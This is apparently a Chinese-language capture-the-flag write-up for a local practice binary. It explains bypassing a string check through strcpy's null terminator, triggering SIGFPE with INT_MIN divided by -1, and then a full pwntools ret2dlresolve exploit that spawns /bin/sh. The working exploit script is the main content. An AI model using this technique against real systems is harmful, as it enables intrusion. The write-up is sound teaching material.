保护
你的输入会跟打开的文件里面的字符串进行比较,比较成功才会进入下一步。
但是我们发现上面用了一个strcpy函数,这个函数会用’\x00’结尾,我们可以再上面让dest的后面一个字节为’\x00’,那个地方刚好是文件符的位置,就可以绕开比较。
绕开比较进入函数之后是一个signal,必须触发这个signal8才能进入最后的函数。
signal8是浮点例外。在发生致命的算术运算错误时发出. 不仅包括浮点运算错误, 还包括溢出及除数为0等其它所有的算术的错误。
不能除0,就构造溢出。
用-2147483648除-1,来触发。
给了个溢出,只有一次溢出,got表也是半开,所以我们直接想到用ret2dl。
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = process("./test")
rop = ROP("./test")
elf = ELF("./test")
r.send("\x00")
raw_input(">")
r.send('A'*0x20)
raw_input(">")
r.send("hello_boy\x00")
raw_input(">")
r.sendline("-2147483648")
raw_input(">")
r.sendline("-1")
raw_input(">")
#raw_input是一个输入函数,也可以直接sleep
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.read(0, dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
#用的是pwntools的模板
info(rop.dump()) #查看rop信息
raw_input(">")
r.sendline(fit({0x4C: rop.chain(), 0x100: dlresolve.payload}))
#0x4c是写入rop链的地方,0x100是read读入的大小。
#fit就是填充一下
r.interactive()